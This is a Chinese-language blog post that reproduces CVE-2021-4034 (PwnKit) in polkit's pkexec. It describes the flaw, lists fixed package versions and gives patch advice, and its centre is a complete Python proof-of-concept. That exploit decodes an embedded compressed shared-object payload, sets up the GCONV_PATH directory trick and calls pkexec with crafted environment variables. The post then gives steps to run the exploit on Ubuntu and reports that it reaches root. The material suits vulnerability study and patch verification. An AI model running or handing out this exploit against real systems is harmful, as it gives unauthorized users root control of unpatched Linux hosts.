CVE-2021-4034 polkit(pkexec)提权漏洞复现

漏洞描述

Polkit(PolicyKit)是一个用于控制类Unix系统中控制系统范围权限的组件,它为非特权进程与特权进程的通信提供了一种有组织的方式。pkexec是Polkit开源应用框架的一部分,它负责协商特权进程和非特权进程之间的互动,允许授权用户以另一个用户的身份执行命令,是sudo的替代方案。

该漏洞是由于pkexec在处理传入参数的逻辑出现问题,导致环境变量被污染,最终交由pkexec代码逻辑执行实现客户机权限提升。有普通权限用户的攻击者通过执行漏洞文件,触发越界读写,从而在目标系统上造成权限提升。

影响范围

由于 polkit 为系统预装工具,目前主流Linux版本均受影响。

不受影响的版本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
CentOS:
· CentOS 6:polkit-0.96-11.el6_10.2
· CentOS 7:polkit-0.112-26.el7_9.1
· CentOS 8.0:polkit-0.115-13.el8_5.1
· CentOS 8.2:polkit-0.115-11.el8_2.2
· CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
· Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
· Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
· Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
· Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
· Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
· :policykit-1 0.105-18+deb9u2
· Debain stretch:policykit-1 0.105-18+deb9u2
· Debain buster:policykit-1 0.105-25+deb10u1
· Debain bullseye:policykit-1 0.105-31+deb11u1
· Debain bookworm,bullseye:policykit-1 0.105-31.1

漏洞复现

POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
        """eJztW21sFEUYnr32ymG/TgPhpAQuBhJA2V6BKh8p1FZgUTAFW0OiuL32tteL9+XuXmmRQA1igkhSFRI1JmJioPEXJPrDH2pJm8bEP5KYqD9MqoSkjUQqKgLRrjO777vdHXqUGDUhmafsPfu+8z4zs7szc2zunUNbdmwNSBJBlJBNxLbudexG8A/WuSHUt46U089FpMaOLSXF8VaZn0nYIaYLemyelwX87NXZ7UXBz3FI8rNXx7oQlsG9yc95aKeXay8Auijoopv8PCT5OQTyUjgGoT6e+e7zui8gjuelxM9475+6ZCb+SXstoFsKBTyvJX7G9nZRHT7SOwE+3t3QXrHnMCn5GR9jKdTBxsy2J9vYcxlivhJP+TywWfnBXXWr3s18dG7sdNlP5cMjT5/49PmLLI7djnIyPR5YtaXkAdtXQY/OikPV9Wd299/uOqIz+F+mx30z+KUi8YUi8ceK+B8qUk9Xkfit9HhgBv+BIvGZIv42219FPoH1oBz8z4B/BPytKFDVZCaXVQ0zrpuqStTtrTvVhKZryZRhanrrzuZ0Lqu1xjvSmlM2c4na2RtXu1LZeDq1XyPJzly2x/lUU9mUSQzNLKQSjDTgJJiMtV6ts0ejRCPTqY5O2cjJD5NtO7Y3Naur5dVyvd3RgH3gJ/uT4G+ATI/XwsLUXBbxDtg4TnH+nIXrj3D+PPhbGv1+tNs5fygKOs5fDv6xzQ6zMTu9WhMy7vGXePyTHr93nl73+EMefwTanUOcO4OIevzedX65xx/0+GMe/xyPf53HP9fjb/T47yECAgICAgICAgL/NX6tXnxTOXw5pBwLfldLiHJkyAxYXymHR0LDdrlV/yN1X7WWXaRUvcSO72YFVyd+sCxrwLYl277g2gHbPu/aJbZ9zrVLbft91w7a9uto09b22q095vSP2hnO1jibj2/j7J2cvQVt5XhDH7vu40Gd0frr5nx6K0Zl51bMtcaql/Szyx0GpvHb7fj6JkYrppSjk8r5nzcr56+XKNKocmHKnEcrOAkVhK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T4X93D6L/k1Oj/ujkCPcgOH78zanx+9L5Eounr9/74Hezc2P+pmff/z4PcPpi+3zKdb+x5x+T9TPZ7l4fvyyzKIqMv197O77kWeOD3H8JT2qPXr8/0PkDvXfEP8eCXcfF+iHPOuHV4fP8Qhxrh/1uB9jrBbqmaX9MU7vbqyLOaTMop/g9Pg92xLzVeOCH39XoC7U94O+P+ZvB8GPn9/Ax7eD+pVF9F4uIbfiQ9D/NUv7fwNC41U+"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

或者网上其他POC也可以: https://github.com/berdav/CVE-2021-4034

上传python文件到ubuntu中并赋予执行权限:

1
chmod u+x cve2021-4034.py

image-20220429232722228

执行python文件:

image-20220429232905342

成功提升至root权限!!!

漏洞原理

当使用普通用户权限执行 pkexec 时,“GCONV_PATH”、“LD_PRELOAD” 等不安全的环境变量会被删除,但攻击者可以通过参数数组的越界读写漏洞,重新引入不安全的环境变量,进而构造利用链获取root权限。

参考以下文章: https://mp.weixin.qq.com/s/oRtXzf1HsHsqHK4DXfVtPg https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 https://bbs.pediy.com/thread-271345.htm

修复建议

目前各Linux发行版官方均已给出安全补丁,建议用户尽快升级至安全版本,或参照官方说明措施进行缓解,CentOS、Ubuntu及Debian用户可参考以下链接:

https://ubuntu.com/security/CVE-2021-4034 https://access.redhat.com/security/cve/CVE-2021-4034 https://security-tracker.debian.org/tracker/CVE-2021-4034

打补丁或升级到安全的版本,也可以pkexec 中删除 SUID 位作为临时缓解措施。

0%